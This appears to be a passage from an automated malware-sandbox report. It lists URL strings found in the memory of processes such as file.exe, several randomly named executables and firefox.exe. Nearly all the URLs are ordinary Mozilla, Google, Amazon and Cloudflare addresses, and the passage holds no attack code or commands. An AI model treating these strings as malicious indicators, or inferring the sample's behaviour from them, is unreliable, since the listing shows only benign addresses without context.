Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE307C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3066838070.000001EE306B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE306B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3146151572.000001EE2AA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE31459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001A.00000002.3280719551.000001EE320E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001A.00000002.3278899876.000001EE317AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE3061A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060200442.000001EE36870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001A.00000002.3179136668.000001EE2F2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003033062.000001EE2E41D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3075217383.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2049650600.0000000001193000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049716081.0000000001152000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.2049716081.0000000001152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acc
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-
Source: file.exe, 00000000.00000003.2049650600.0000000001193000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186529970.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/leh
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001A.00000003.3029938509.000001EE36A59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchc1a6845f-015e-4e67-bc64-6e39a843643f9e73a342-4e27-4e9f-8a29-be
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3075217383.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F616000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F924000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
